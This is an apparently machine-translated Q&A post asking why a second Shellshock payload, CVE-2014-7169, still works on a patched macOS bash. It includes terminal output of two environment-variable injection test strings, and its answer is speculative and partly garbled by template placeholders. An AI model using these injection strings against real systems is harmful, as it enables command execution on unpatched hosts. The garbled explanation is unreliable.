使用针对shellshock修补的bash版本
$ bash --version
GNU bash, version 3.2.52(1)-release (x86_64-apple-darwin12)
Copyright (C) 2007 Free Software Foundation, Inc.
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
另一个similar exploit still works并已分配CVE-2014-7169
$ env X='() { (a)=>\' bash -c "echo date"; cat echo
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Thu Sep 25 12:47:22 EDT 2014
$ ls echo
echo
正在寻找这个细分。
答案 0 :(得分:1)
我的手挥了很多,我怀疑新的漏洞利用了以下几点:
>
与echo
结合作为bash
shell的输出重定向echo
来定义函数,剩下执行的-c
参数的唯一部分是date
,其输出转到文件名{{1而不是标准输出。这是我能想到的最好的{@ 1}}来源,但我怀疑反斜杠有助于某种缓冲区溢出,允许环境字符串和参数{{1}要合并。